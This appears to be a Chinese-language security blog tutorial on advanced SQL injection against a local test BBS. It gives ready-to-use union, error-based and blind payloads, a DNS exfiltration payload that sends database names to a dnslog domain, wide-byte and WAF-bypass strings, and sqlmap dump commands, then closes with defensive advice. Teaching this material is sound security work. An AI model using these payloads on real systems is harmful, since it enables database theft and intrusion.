SQL注入漏洞进阶篇

📅 2026-01-07 📂 Web安全 SQL注入 sqlmap WAF绕过 盲注 DNS外带

一、SQL注入概述

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL语句,从而对数据库进行非法操作。

SQL注入的危害包括:

  • 数据泄露:读取数据库中的敏感信息(用户账号、密码、个人信息等)
  • 数据篡改:修改、删除数据库中的数据
  • 权限提升:获取数据库管理员权限
  • 系统控制:通过数据库功能执行操作系统命令

二、SQL注入分类

2.1 联合查询注入(Union Based)

利用 UNION 操作符将攻击者的SQL语句与原始查询合并,从而获取额外数据。

测试环境:

复制代码
http://localhost/bbs/showmessage.php?id=1
http://localhost/bbs/showmessage.php?id=2

判断注入点:

复制代码
http://localhost/bbs/showmessage.php?id=1 and 1=1   -- 正常
http://localhost/bbs/showmessage.php?id=1 and 1=2   -- 异常

判断列数:

复制代码
http://localhost/bbs/showmessage.php?id=1 order by 1   -- 正常
http://localhost/bbs/showmessage.php?id=1 order by 2   -- 正常
http://localhost/bbs/showmessage.php?id=1 order by N   -- 直到报错

联合查询获取数据:

复制代码
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,...
http://localhost/bbs/showmessage.php?id=-1 union select 1,version(),database()
http://localhost/bbs/showmessage.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database()

2.2 报错注入(Error Based)

利用数据库报错信息来获取数据,常用的报错函数包括:

复制代码
-- updatexml报错注入
http://localhost/bbs/showmessage.php?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)

-- extractvalue报错注入
http://localhost/bbs/showmessage.php?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))

-- floor报错注入
http://localhost/bbs/showmessage.php?id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.3 布尔盲注(Boolean Based Blind)

当页面不显示查询结果和报错信息,但会根据SQL语句的真假返回不同页面时,使用布尔盲注。

复制代码
-- 判断数据库名长度
http://localhost/bbs/showmessage.php?id=1 and length(database())=5

-- 逐字符猜解数据库名
http://localhost/bbs/showmessage.php?id=1 and substr(database(),1,1)='a'
http://localhost/bbs/showmessage.php?id=1 and ascii(substr(database(),1,1))=97

-- 使用ord函数
http://localhost/bbs/showmessage.php?id=1 and ord(mid(database(),1,1))=97

2.4 时间盲注(Time Based Blind)

当页面没有任何回显和报错时,通过时间延迟来判断SQL语句的真假。

复制代码
-- 基于sleep的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,sleep(5),0)
http://localhost/bbs/showmessage.php?id=1 and if(length(database())=5,sleep(5),0)

-- 基于benchmark的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,benchmark(10000000,sha1('test')),0)

三、DNS外带数据

当无法直接获取数据时,可以通过DNS查询将数据外带到攻击者控制的服务器。

使用dnslog.cn

复制代码
http://dnslog.cn/

DNS外带注入payload:

复制代码
-- MySQL DNS外带
http://localhost/bbs/showmessage.php?id=1 and load_file(concat('\\\\',database(),'.dnslog域名\\abc'))

-- 使用sqlmap的DNS外带
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dns-domain=dnslog域名

四、宽字节注入

当应用程序使用GBK/GB2312等宽字节编码时,可以利用宽字节特性绕过转义。

复制代码
-- 正常情况,单引号被转义
http://localhost/bbs/test.php?id=1\'  -- 被转义为 1\'

-- 宽字节注入,%df与\合并为一个宽字节字符
http://localhost/bbs/test.php?id=1%df\'  -- %df%5c组成一个GBK字符,单引号逃逸

五、sqlmap工具使用

sqlmap 是一款自动化的SQL注入检测与利用工具,官方地址:https://sqlmap.org/

5.1 基本用法

复制代码
# 检测注入点
sqlmap -u "http://localhost/bbs/showmessage.php?id=1"

# 获取数据库
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dbs

# 获取表
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 --tables

# 获取列
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 --columns

# 获取数据
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump

5.2 常用参数

复制代码
-u URL            # 指定目标URL
--data=DATA       # POST数据
--cookie=COOKIE   # 设置Cookie
--level=LEVEL     # 检测级别(1-5)
--risk=RISK       # 风险级别(1-3)
--technique=TECH  # 指定注入技术(B/E/U/S/T/Q)
--tamper=TAMPER   # 使用绕过脚本
--batch           # 不询问,使用默认选项
--random-agent    # 使用随机User-Agent
--proxy=PROXY     # 使用代理
--dns-domain=DOMAIN  # DNS外带域名

5.3 POST注入

复制代码
sqlmap -u "http://localhost/bbs/member/register.php" --data="username=admin&password=123456"

5.4 Cookie注入

复制代码
sqlmap -u "http://localhost/bbs/index.php" --cookie="session=abc123"

六、WAF绕过

6.1 大小写绕过

复制代码
http://localhost/bbs/showmessage.php?id=1 UnIoN SeLeCt 1,2,3

6.2 双写绕过

复制代码
http://localhost/bbs/showmessage.php?id=1 ununionion selselectect 1,2,3

6.3 编码绕过

复制代码
-- URL编码
http://localhost/bbs/showmessage.php?id=1 %55nion %53elect 1,2,3

-- 十六进制编码
http://localhost/bbs/showmessage.php?id=1 union select 1,hex(database()),3

-- Unicode编码
http://localhost/bbs/showmessage.php?id=1 uni%6fn sel%65ct 1,2,3

6.4 注释绕过

复制代码
-- 内联注释
http://localhost/bbs/showmessage.php?id=1 /*!union*/ /*!select*/ 1,2,3

-- MySQL版本注释
http://localhost/bbs/showmessage.php?id=1 /*!50000union*/ /*!50000select*/ 1,2,3

6.5 空格绕过

复制代码
-- 使用注释替代空格
http://localhost/bbs/showmessage.php?id=1/**/union/**/select/**/1,2,3

-- 使用%09 %0a %0b %0c %0d替代空格
http://localhost/bbs/showmessage.php?id=1%09union%09select%091,2,3

6.6 使用sqlmap的tamper脚本

复制代码
# 查看所有tamper脚本
sqlmap --list-tampers

# 常用tamper脚本
sqlmap -u "URL" --tamper="space2comment"        # 空格转注释
sqlmap -u "URL" --tamper="between"              # 用between替代大于号
sqlmap -u "URL" --tamper="randomcase"           # 随机大小写
sqlmap -u "URL" --tamper="charencode"           # URL编码
sqlmap -u "URL" --tamper="space2comment,between" # 组合使用

七、实战环境

本文使用的测试环境:

  • 目标BBS系统:http://localhost/bbs/
  • 测试页面:
    • http://localhost/bbs/showmessage.php?id=1
    • http://localhost/bbs/showmessage.php?id=2
    • http://localhost/bbs/test.php
    • http://localhost/bbs/member/register.php
    • http://localhost/bbs/member/cgpwd.php
    • http://localhost/bbs/index.php
  • DNS外带工具:http://dnslog.cn/
  • SQL注入工具:sqlmap

八、防御建议

  1. 使用参数化查询(预编译语句),从根本上防止SQL注入
  2. 对用户输入进行严格校验和过滤
  3. 使用ORM框架,减少手写SQL的场景
  4. 最小权限原则,数据库用户只授予必要权限
  5. 部署WAF,作为额外的安全防护层
  6. 关闭数据库报错信息显示,避免信息泄露
  7. 定期进行安全审计和漏洞扫描

© 2026 安全攻防笔记 - 仅供安全研究与学习使用

相关推荐
godspeed_lucip6 小时前
LLM和Agent——专题3: Agentic Workflow 入门(2)
网络·人工智能·python
网络与设备以及操作系统学习使用者6 小时前
vi与vim在openEuler中的差异及应用
linux·运维·网络·学习·vim
2401_868534786 小时前
30个网络工程师面试题
网络·智能路由器
相思难忘成疾6 小时前
Ubuntu 入门:安装、网络、软件一站式教程
linux·网络·ubuntu
凯瑟琳.奥古斯特7 小时前
常见加密算法及应用
java·开发语言·网络·网络协议·职场和发展
hello world 9997 小时前
【网络问题】网卡发送数据包错误
网络·tcp/ip·计算机网络
CPETW7 小时前
RS-232 Sniffer 嗅探器 ---- UNI-T电子负载通讯协议抓取-A
网络·科技·stm32·单片机·嵌入式硬件·电子
ylscode7 小时前
巨齿鲨突袭GitHub:5500余仓库沦陷,开源供应链安全防线再遭重创
运维·服务器·网络·安全·安全威胁分析
Bobolink_7 小时前
TK跨境直播网络链路实测分析
网络·跨境网络